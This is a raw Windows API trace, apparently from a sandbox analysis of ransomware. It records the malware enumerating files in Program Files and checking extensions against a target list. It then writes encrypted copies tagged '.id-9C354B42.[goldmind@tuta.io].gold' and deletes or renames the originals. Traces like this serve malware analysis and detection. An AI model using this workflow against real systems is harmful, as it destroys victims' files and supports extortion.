GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png")) returned 0x20 [0089.363] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0089.363] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.363] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png") returned 77 [0089.363] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png") returned 77 [0089.363] lstrlenW (lpString=".doc") returned 4 [0089.363] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0089.363] lstrlenW (lpString=".docx") returned 5 [0089.363] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0089.363] lstrlenW (lpString=".pdf") returned 4 [0089.363] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0089.363] lstrlenW (lpString=".xls") returned 4 [0089.363] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0089.363] lstrlenW (lpString=".xlsx") returned 5 [0089.363] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0089.363] lstrlenW (lpString=".ppt") returned 4 [0089.363] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0089.363] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png") returned 77 [0089.363] lstrlenW (lpString=".zip") returned 4 [0089.363] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0089.363] lstrlenW (lpString=".rar") returned 4 [0089.363] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0089.363] lstrlenW (lpString=".bz2") returned 4 [0089.363] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0089.363] lstrlenW (lpString=".7z") returned 3 [0089.363] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0089.363] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png") returned 77 [0089.363] lstrlenW (lpString=".dbf") returned 4 [0089.363] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0089.363] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png") returned 77 [0089.363] lstrlenW (lpString=".1cd") returned 4 [0089.363] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0089.363] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png") returned 77 [0089.363] lstrlenW (lpString=".jpg") returned 4 [0089.363] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0089.364] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png") returned 77 [0089.364] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png") returned 77 [0089.364] lstrlenW (lpString=".doc") returned 4 [0089.364] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0089.364] lstrlenW (lpString=".docx") returned 5 [0089.364] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0089.364] lstrlenW (lpString=".pdf") returned 4 [0089.364] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0089.364] lstrlenW (lpString=".xls") returned 4 [0089.364] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0089.364] lstrlenW (lpString=".xlsx") returned 5 [0089.364] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0089.364] lstrlenW (lpString=".ppt") returned 4 [0089.364] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0089.364] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png") returned 77 [0089.364] lstrlenW (lpString=".zip") returned 4 [0089.364] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0089.364] lstrlenW (lpString=".rar") returned 4 [0089.364] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0089.364] lstrlenW (lpString=".bz2") returned 4 [0089.364] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0089.364] lstrlenW (lpString=".7z") returned 3 [0089.364] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0089.364] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png") returned 77 [0089.364] lstrlenW (lpString=".dbf") returned 4 [0089.364] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0089.364] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png") returned 77 [0089.364] lstrlenW (lpString=".1cd") returned 4 [0089.364] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0089.364] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png") returned 77 [0089.364] lstrlenW (lpString=".jpg") returned 4 [0089.364] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0089.364] lstrcmpiW (lpString1=".png", lpString2=".gold") returned 1 [0089.364] lstrlenW (lpString="Pets_frame-border.png") returned 21 [0089.364] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0089.365] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=13239) returned 1 [0089.365] CloseHandle (hObject=0x38c) returned 1 [0089.365] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png")) returned 0x20 [0089.365] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0089.365] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.365] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png") returned 70 [0089.365] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png") returned 70 [0089.365] lstrlenW (lpString=".doc") returned 4 [0089.365] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0089.365] lstrlenW (lpString=".docx") returned 5 [0089.365] lstrcmpiW (lpString1=".docx", lpString2="r.png") returned -1 [0089.365] lstrlenW (lpString=".pdf") returned 4 [0089.365] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0089.365] lstrlenW (lpString=".xls") returned 4 [0089.365] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0089.365] lstrlenW (lpString=".xlsx") returned 5 [0089.365] lstrcmpiW (lpString1=".xlsx", lpString2="r.png") returned -1 [0089.365] lstrlenW (lpString=".ppt") returned 4 [0089.365] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0089.365] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png") returned 70 [0089.365] lstrlenW (lpString=".zip") returned 4 [0089.365] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0089.365] lstrlenW (lpString=".rar") returned 4 [0089.365] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0089.365] lstrlenW (lpString=".bz2") returned 4 [0089.365] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0089.365] lstrlenW (lpString=".7z") returned 3 [0089.365] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0089.365] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png") returned 70 [0089.365] lstrlenW (lpString=".dbf") returned 4 [0089.365] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0089.659] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0089.659] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0089.660] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0089.661] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0089.661] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0089.662] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0089.662] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0089.663] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0089.664] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0089.664] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0090.375] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.375] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0090.402] GetLastError () returned 0x0 [0090.402] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x9456, lpOverlapped=0x0) returned 1 [0090.420] WriteFile (in: hFile=0x194, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x9460, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x9460, lpOverlapped=0x0) returned 1 [0090.421] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0090.421] WriteFile (in: hFile=0x194, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0090.421] SetEndOfFile (hFile=0x194) returned 1 [0090.422] CloseHandle (hObject=0x194) returned 1 [0090.422] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.422] SetEndOfFile (hFile=0x38c) returned 1 [0090.528] CloseHandle (hObject=0x38c) returned 1 [0090.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0090.528] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf")) returned 1 [0090.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0090.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0090.529] lstrlenW (lpString=".doc") returned 4 [0090.529] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.529] lstrlenW (lpString=".docx") returned 5 [0090.529] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0090.529] lstrlenW (lpString=".pdf") returned 4 [0090.529] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.529] lstrlenW (lpString=".xls") returned 4 [0090.529] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.529] lstrlenW (lpString=".xlsx") returned 5 [0090.529] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0090.529] lstrlenW (lpString=".ppt") returned 4 [0090.529] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0090.529] lstrlenW (lpString=".zip") returned 4 [0090.529] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.529] lstrlenW (lpString=".rar") returned 4 [0090.529] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.529] lstrlenW (lpString=".bz2") returned 4 [0090.529] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.529] lstrlenW (lpString=".7z") returned 3 [0090.529] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0090.529] lstrlenW (lpString=".dbf") returned 4 [0090.529] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0090.529] lstrlenW (lpString=".1cd") returned 4 [0090.529] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0090.529] lstrlenW (lpString=".jpg") returned 4 [0090.529] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0090.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0090.530] lstrlenW (lpString=".doc") returned 4 [0090.530] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.530] lstrlenW (lpString=".docx") returned 5 [0090.530] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0090.530] lstrlenW (lpString=".pdf") returned 4 [0090.530] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.530] lstrlenW (lpString=".xls") returned 4 [0090.530] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.530] lstrlenW (lpString=".xlsx") returned 5 [0090.530] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0090.530] lstrlenW (lpString=".ppt") returned 4 [0090.530] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0090.530] lstrlenW (lpString=".zip") returned 4 [0090.530] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.530] lstrlenW (lpString=".rar") returned 4 [0090.530] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.530] lstrlenW (lpString=".bz2") returned 4 [0090.530] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.530] lstrlenW (lpString=".7z") returned 3 [0090.530] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0090.530] lstrlenW (lpString=".dbf") returned 4 [0090.530] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0090.530] lstrlenW (lpString=".1cd") returned 4 [0090.530] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0090.530] lstrlenW (lpString=".jpg") returned 4 [0090.530] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.530] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0090.530] lstrlenW (lpString="DD00405_.WMF") returned 12 [0090.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0090.538] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=17584) returned 1 [0090.538] CloseHandle (hObject=0x33c) returned 1 [0090.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf")) returned 0x20 [0090.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0090.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0090.541] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.542] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0090.542] GetLastError () returned 0x0 [0090.542] ReadFile (in: hFile=0x394, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x44b0, lpOverlapped=0x0) returned 1 [0090.544] WriteFile (in: hFile=0x33c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x44c0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x44c0, lpOverlapped=0x0) returned 1 [0090.545] ReadFile (in: hFile=0x394, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0090.545] WriteFile (in: hFile=0x33c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0090.545] SetEndOfFile (hFile=0x33c) returned 1 [0090.545] CloseHandle (hObject=0x33c) returned 1 [0090.545] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.545] SetEndOfFile (hFile=0x394) returned 1 [0090.547] CloseHandle (hObject=0x394) returned 1 [0090.547] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0090.548] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf")) returned 1 [0090.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0090.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0090.548] lstrlenW (lpString=".doc") returned 4 [0090.549] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.549] lstrlenW (lpString=".docx") returned 5 [0090.549] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0090.549] lstrlenW (lpString=".pdf") returned 4 [0090.549] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.549] lstrlenW (lpString=".xls") returned 4 [0090.549] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.549] lstrlenW (lpString=".xlsx") returned 5 [0090.549] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0090.549] lstrlenW (lpString=".ppt") returned 4 [0090.549] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0090.549] lstrlenW (lpString=".zip") returned 4 [0090.549] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.549] lstrlenW (lpString=".rar") returned 4 [0090.549] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.549] lstrlenW (lpString=".bz2") returned 4 [0090.549] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.549] 